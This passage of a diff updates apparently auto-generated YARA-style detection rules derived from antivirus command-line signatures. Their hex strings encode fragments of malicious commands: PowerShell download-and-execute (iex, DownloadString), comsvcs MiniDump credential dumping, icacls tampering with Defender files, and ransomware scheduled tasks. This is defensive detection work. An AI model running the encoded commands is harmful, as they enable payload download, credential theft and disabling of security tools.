6e 00 20 00 63 00 6f 00 6d 00 6d 00 69 00 74 00 9c ff 14 00 73 00 76 00 6e 00 20 00 75 00 70 00 64 00 61 00 74 00 65 00 9c ff 0a 00 62 00 64 00 } //25974 + $a_00_5 = {6d 00 00 00 d7 9f 00 00 70 00 70 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 42 21 4d 54 42 00 64 00 2b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 19 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 90 00 0a 00 17 02 2e 00 70 00 68 00 70 00 3f 00 } //99 + $a_3d_6 = {31 00 27 00 29 00 } //656 1') + $a_00_7 = {0c } //144 + $a_00_9 = {20 00 24 00 01 00 15 02 7b 00 20 00 26 00 24 00 90 02 19 20 00 28 00 26 00 24 00 90 00 00 00 d7 a0 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 41 63 6c 2e } //125 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*102+(#a_61_2 & 1)*22117+(#a_00_3 & 1)*10754+(#a_50_4 & 1)*25974+(#a_00_5 & 1)*99+(#a_3d_6 & 1)*656+(#a_00_7 & 1)*144+(#a_00_9 & 1)*125) >=201 + +} +rule _InfrastructureShared_27840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 02 00 21 " @@ -344054,18 +364013,31 @@ rule _InfrastructureShared_26300{ ((#a_46_0 & 1)*21283) >=6 } -rule _InfrastructureShared_26301{ +rule _InfrastructureShared_27841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 53 65 72 76 65 72 50 72 6f 63 2e 53 41 00 0a 00 30 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 04 2f 00 63 00 90 02 ff 63 00 64 00 20 00 2f 00 64 00 90 08 00 02 32 00 3e } //21283 - $a_ff_2 = {00 73 00 76 00 6e 00 20 00 63 00 6f 00 6d 00 6d 00 69 00 74 00 9c ff 14 00 73 00 76 00 6e 00 20 00 75 00 70 00 64 00 61 00 74 00 65 00 9c ff 0a 00 62 00 64 00 63 00 6f 00 6d 00 00 00 d7 a0 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 41 63 6c 2e 42 00 01 00 42 02 69 00 63 00 61 00 63 00 6c 00 73 00 2e 00 65 00 78 00 65 00 20 00 90 02 ff 5c 00 4e 00 69 00 73 00 53 00 72 00 76 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 00 73 00 65 } //144 + $a_ff_2 = {00 73 00 76 00 6e 00 20 00 63 00 6f 00 6d 00 6d 00 69 00 74 00 9c ff 14 00 73 00 76 00 6e 00 20 00 75 00 70 00 64 00 61 00 74 00 65 00 9c ff 0a 00 62 00 64 00 63 00 6f 00 6d 00 00 00 d7 9f 00 00 70 00 70 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 42 21 4d 54 42 00 64 00 2b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 19 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 90 00 0a 00 } //144 + $a_00_3 = {70 00 68 00 70 00 3f 00 90 02 06 3d 00 31 00 27 00 29 00 90 00 01 00 0c 00 29 00 20 00 7d 00 3b 00 20 00 24 00 01 00 15 02 7b 00 20 00 26 } //535 condition: - ((#a_46_0 & 1)*21283+(#a_ff_2 & 1)*144) >=10 + ((#a_46_0 & 1)*21283+(#a_ff_2 & 1)*144+(#a_00_3 & 1)*535) >=10 } -rule _InfrastructureShared_26302{ +rule _InfrastructureShared_27842{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 42 21 4d 54 42 00 64 00 2b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 19 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 90 } //21283 + $a_00_2 = {68 00 70 00 3f 00 90 02 06 3d 00 31 00 27 00 29 00 90 00 01 00 0c 00 29 00 20 00 7d 00 3b 00 20 00 24 00 01 00 15 02 7b 00 20 00 26 00 24 00 90 02 19 20 00 28 00 26 00 24 00 90 00 00 00 d7 a0 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 41 63 6c 2e 42 00 01 00 42 02 69 00 63 00 61 00 63 00 6c 00 73 00 2e 00 65 00 } //46 + $a_00_3 = {20 00 90 02 ff 5c 00 4e 00 69 00 73 00 53 00 72 00 76 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 00 73 00 65 00 74 00 90 00 01 00 3a 02 69 00 63 00 61 00 63 00 6c 00 73 00 20 00 90 02 ff 5c 00 4e 00 69 00 73 00 53 00 72 00 76 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 00 73 } //120 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*46+(#a_00_3 & 1)*120) >=112 + +} +rule _InfrastructureShared_27843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -344075,20 +364047,97 @@ rule _InfrastructureShared_26302{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26303{ +rule _InfrastructureShared_27844{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,36 00 36 00 05 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 05 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 49 21 4d 54 42 00 32 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 } //21283 - $a_00_1 = {72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 06 00 69 00 65 00 78 00 01 00 0a 00 69 00 77 00 72 00 20 00 24 00 01 00 0a 00 76 00 65 00 72 00 69 00 66 00 00 00 d7 a3 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //80 - $a_70_2 = {72 6f 63 65 73 73 2e 41 21 61 74 74 6b 00 01 00 71 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 90 02 0a 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6d 00 73 00 76 00 63 00 73 00 2e 00 64 00 6c 00 6c 00 90 02 04 4d 00 69 00 6e 00 69 } //30020 - $a_00_4 = {90 02 ff 66 00 75 00 6c 00 6c 00 90 00 00 00 d7 a3 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 46 69 6c 65 52 65 6d 6f 76 61 6c 2e 41 00 01 00 14 80 01 73 62 2d 73 65 63 75 72 65 2d 64 65 6c 65 74 65 2e 65 78 65 01 00 37 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 } //109 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 55 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 06 00 } //21283 + $a_00_1 = {24 00 64 00 0e 00 29 00 3b 00 69 00 65 00 78 00 20 00 24 00 64 00 2a 00 29 00 3b 00 69 00 6e 00 76 00 6f 00 6b 00 } //61 + $a_00_2 = {65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 00 00 d7 a0 00 00 6e 00 6e 00 03 00 21 23 53 4c 46 3a 54 72 6f } //101 + $a_3a_3 = {69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 5a 21 4d 54 42 00 64 00 22 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 02 0f 24 00 90 00 0a 00 25 02 3b 00 20 00 69 00 65 00 78 00 20 00 28 00 69 00 72 00 6d 00 90 02 06 2e 00 90 02 06 2f 00 90 02 06 29 00 90 00 0a 00 21 02 3b 00 69 00 65 } //24938 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_70_2 & 1)*30020+(#a_00_4 & 1)*109) >=54 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*61+(#a_00_2 & 1)*101+(#a_3a_3 & 1)*24938) >=103 } -rule _InfrastructureShared_26304{ +rule _InfrastructureShared_27845{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 5a 21 4d 54 42 00 64 00 22 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 02 0f 24 00 90 00 0a 00 25 02 3b 00 20 00 } //21283 + $a_00_1 = {78 00 20 00 28 00 69 00 72 00 6d 00 90 02 06 2e 00 90 02 06 2f 00 90 02 06 29 00 90 00 0a 00 21 02 3b 00 69 00 65 00 78 00 28 00 69 00 72 00 6d 00 90 02 06 2e 00 90 02 06 2f 00 90 02 06 29 00 90 00 00 00 d7 a0 00 00 a1 00 a1 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 } //105 + $a_2e_2 = {46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 16 00 7c 00 26 00 28 00 47 00 63 00 4d 00 20 00 69 00 2a 00 78 00 29 00 0a 00 06 00 20 00 23 00 20 00 01 00 24 00 47 00 65 00 74 00 2d 00 43 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 20 00 2d 00 52 00 61 00 77 00 01 00 0e 00 47 00 43 00 20 00 2d 00 52 00 } //26950 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_2e_2 & 1)*26950) >=110 + +} +rule _InfrastructureShared_27846{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 16 00 7c 00 26 00 28 00 47 00 63 00 4d 00 20 00 69 00 2a 00 78 00 } //21283 + $a_00_1 = {06 00 20 00 23 00 20 00 01 00 } //41 + $a_00_2 = {65 00 74 00 2d 00 43 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 20 00 2d 00 52 00 61 00 77 00 01 00 0e 00 47 00 43 00 20 00 2d 00 52 00 61 00 77 00 00 00 d7 a1 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 } //36 + $a_61_3 = {3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 5a 21 4d 54 42 00 01 00 16 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 3b 00 24 00 01 00 28 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 90 00 02 00 3c 00 23 00 01 00 1b 02 70 00 6f 00 77 00 65 00 } //28530 + $a_00_4 = {68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 0c 00 3b 00 69 00 65 00 78 00 28 00 24 00 00 00 d7 a2 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 43 21 4d 54 42 00 01 00 34 00 5b 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 57 00 72 00 69 00 74 00 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*41+(#a_00_2 & 1)*36+(#a_61_3 & 1)*28530+(#a_00_4 & 1)*114) >=161 + +} +rule _InfrastructureShared_27847{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 5a 21 4d 54 42 00 01 00 16 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 3b 00 24 00 01 00 28 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //21283 + $a_00_1 = {72 00 69 00 6e 00 67 00 28 00 24 00 90 00 02 00 3c 00 23 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 0c 00 3b 00 69 00 65 00 78 00 28 00 24 00 00 00 d7 a2 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 43 21 4d 54 42 } //83 + $a_00_3 = {4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 57 00 72 00 69 00 74 00 65 00 41 00 6c 00 6c 00 42 00 79 00 74 00 65 00 73 00 28 00 24 00 01 00 14 00 47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 01 } //91 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*83+(#a_00_3 & 1)*91) >=4 + +} +rule _InfrastructureShared_27848{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 43 21 4d 54 42 00 01 00 34 00 5b 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 57 00 72 00 69 00 74 00 65 00 41 00 6c 00 6c 00 42 00 } //21283 + $a_00_1 = {65 00 73 00 28 00 24 00 01 00 14 00 47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 01 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 02 00 50 00 24 00 90 00 00 00 00 00 d7 a2 00 00 74 00 74 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 58 21 4d 54 42 00 64 00 } //121 + $a_00_2 = {6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 65 00 63 00 68 00 6f 00 0a 00 16 00 5c 00 6f 00 6e 00 65 00 20 00 64 00 72 00 69 00 76 00 65 00 5c 00 05 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 } //30 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*121+(#a_00_2 & 1)*30) >=3 + +} +rule _InfrastructureShared_27849{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,74 00 74 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 58 21 4d 54 42 00 64 00 1e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 65 00 63 00 68 00 6f 00 0a 00 16 00 5c 00 6f 00 6e 00 65 00 20 00 } //21283 + $a_00_1 = {69 00 76 00 65 00 5c 00 05 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 74 00 00 00 d7 a2 00 00 79 00 79 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 48 21 4d 54 } //100 + $a_00_2 = {14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 16 00 2e 00 70 00 73 00 31 00 27 00 3b 00 69 00 65 00 78 00 28 00 24 00 0a 00 22 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 } //66 + $a_00_3 = {43 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 a3 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 75 6d 70 70 72 6f 63 65 73 73 2e 41 21 61 74 74 6b 00 01 00 71 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 90 02 0a 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 } //101 + $a_00_5 = {53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6d 00 73 00 76 00 63 00 73 00 2e 00 64 00 6c 00 6c 00 90 02 04 4d 00 69 00 6e 00 69 00 44 00 75 00 6d 00 70 00 90 02 ff 66 00 75 00 6c 00 6c 00 90 00 00 00 d7 a3 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 } //115 + $a_6e_6 = {57 69 6e 33 32 2f 53 75 73 70 46 69 6c 65 52 65 6d 6f 76 61 6c 2e 41 00 01 00 14 80 01 73 62 2d 73 65 63 75 72 65 2d 64 65 6c 65 74 65 2e 65 78 65 01 00 37 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 } //27247 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100+(#a_00_2 & 1)*66+(#a_00_3 & 1)*101+(#a_00_5 & 1)*115+(#a_6e_6 & 1)*27247) >=116 + +} +rule _InfrastructureShared_27850{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 16 00 2e 00 70 00 73 00 31 00 27 00 3b 00 69 00 65 00 78 00 } //21283 + $a_00_1 = {0a 00 22 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //40 + $a_00_2 = {1a } //36 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*40+(#a_00_2 & 1)*36) >=121 + +} +rule _InfrastructureShared_27851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -344098,19 +364147,31 @@ rule _InfrastructureShared_26304{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26305{ +rule _InfrastructureShared_27852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 46 69 6c 65 52 65 6d 6f 76 61 6c 2e 41 00 01 00 14 80 01 73 62 2d 73 65 63 75 72 65 2d 64 65 6c 65 74 65 2e 65 78 65 01 00 37 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 } //21283 - $a_00_1 = {65 00 6d 00 70 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 8f 2e 00 74 00 78 00 74 00 90 00 01 00 1e 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 8f 2e 74 78 74 90 00 00 00 d7 a3 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 62 69 74 2e 41 41 00 01 00 10 00 } //92 - $a_00_2 = {68 00 74 00 61 00 73 00 6b 00 73 00 01 00 0e 00 6f 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 01 00 10 00 62 00 6c 00 61 00 63 00 6b 00 62 00 69 00 74 00 01 00 18 00 77 00 69 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 01 00 06 00 2f 00 72 00 6c 00 01 00 06 00 2f 00 72 00 75 00 01 } //115 + $a_00_1 = {65 00 6d 00 70 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 8f 2e 00 74 00 78 00 74 00 90 00 01 00 1e 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 8f 2e 74 78 74 90 00 00 00 d7 a3 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 55 21 4d 54 42 } //92 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*92+(#a_00_2 & 1)*115) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*92) >=2 } -rule _InfrastructureShared_26306{ +rule _InfrastructureShared_27853{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 55 21 4d 54 42 00 01 00 14 00 24 00 28 00 5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 } //21283 + $a_02_1 = {50 24 00 90 00 01 00 1e 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 24 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 a3 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 62 69 74 2e 41 41 00 01 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 01 00 0e 00 6f 00 6e 00 6c 00 6f 00 } //108 + $a_00_2 = {6e 00 01 00 10 00 62 00 6c 00 61 00 63 00 6b 00 62 00 69 00 74 00 01 00 18 00 77 00 69 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 01 00 06 00 2f 00 72 00 6c 00 01 00 06 00 2f 00 72 00 75 00 01 00 0e 00 68 00 69 00 67 00 68 00 65 00 73 00 74 00 00 00 d7 a3 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 52 61 6e 73 6f } //103 + $a_69_3 = {33 32 2f 52 79 75 6b 53 63 68 74 61 73 6b 73 2e 5a 5a 00 01 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 0e 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 01 00 06 00 2f 00 53 00 43 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 } //14957 + condition: + ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*108+(#a_00_2 & 1)*103+(#a_69_3 & 1)*14957) >=4 + +} +rule _InfrastructureShared_27854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " @@ -344118,28 +364179,52 @@ rule _InfrastructureShared_26306{ $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 62 69 74 2e 41 41 00 01 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 01 00 0e 00 6f 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 01 00 10 00 62 00 } //21539 $a_00_1 = {63 00 6b 00 62 00 69 00 74 00 01 00 18 00 77 00 69 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 01 00 06 00 2f 00 72 00 6c 00 01 00 06 00 2f 00 72 00 75 00 01 00 0e 00 68 00 69 00 67 00 68 00 65 00 73 00 74 00 00 00 d7 a3 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 52 61 6e } //108 $a_3a_2 = {69 6e 33 32 2f 52 79 75 6b 53 63 68 74 61 73 6b 73 2e 5a 5a 00 01 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 0e 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 01 00 06 00 2f 00 53 00 43 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 06 00 2f 00 54 00 52 00 01 00 06 00 } //28531 - $a_00_3 = {54 00 01 00 16 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 a4 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 41 63 6c 2e 41 00 01 00 44 02 69 00 63 00 61 00 63 00 6c 00 73 00 2e 00 65 00 78 00 65 } //47 - $a_00_6 = {70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 00 73 00 65 00 74 00 90 00 01 00 3c 02 69 00 63 00 61 00 63 00 6c 00 73 00 20 00 90 02 ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 } //115 + $a_00_3 = {54 00 01 00 16 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 a3 00 00 79 00 79 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 51 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 } //47 + $a_00_5 = {65 00 6c 00 6c 00 0a 00 0c 00 66 00 6f 00 72 00 20 00 28 00 24 00 0a 00 06 00 20 00 23 00 20 00 01 00 15 02 63 00 3a 00 5c 00 90 02 50 2e 00 64 00 6f 00 63 00 78 00 90 00 01 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 70 00 64 00 66 00 90 00 01 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 74 00 78 00 74 00 90 00 00 } //115 + $a_00_6 = {00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 42 21 4d 54 42 00 01 00 2f 02 6d 00 73 00 68 00 74 00 61 00 90 02 10 68 00 74 00 74 00 70 00 90 02 50 6d 00 73 00 68 00 74 00 61 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 41 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 90 02 50 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 90 00 00 } //-10496 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_3a_2 & 1)*28531+(#a_00_3 & 1)*47+(#a_00_6 & 1)*115) >=7 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_3a_2 & 1)*28531+(#a_00_3 & 1)*47+(#a_00_5 & 1)*115+(#a_00_6 & 1)*-10496) >=7 } -rule _InfrastructureShared_26307{ +rule _InfrastructureShared_27855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_4c_0 = 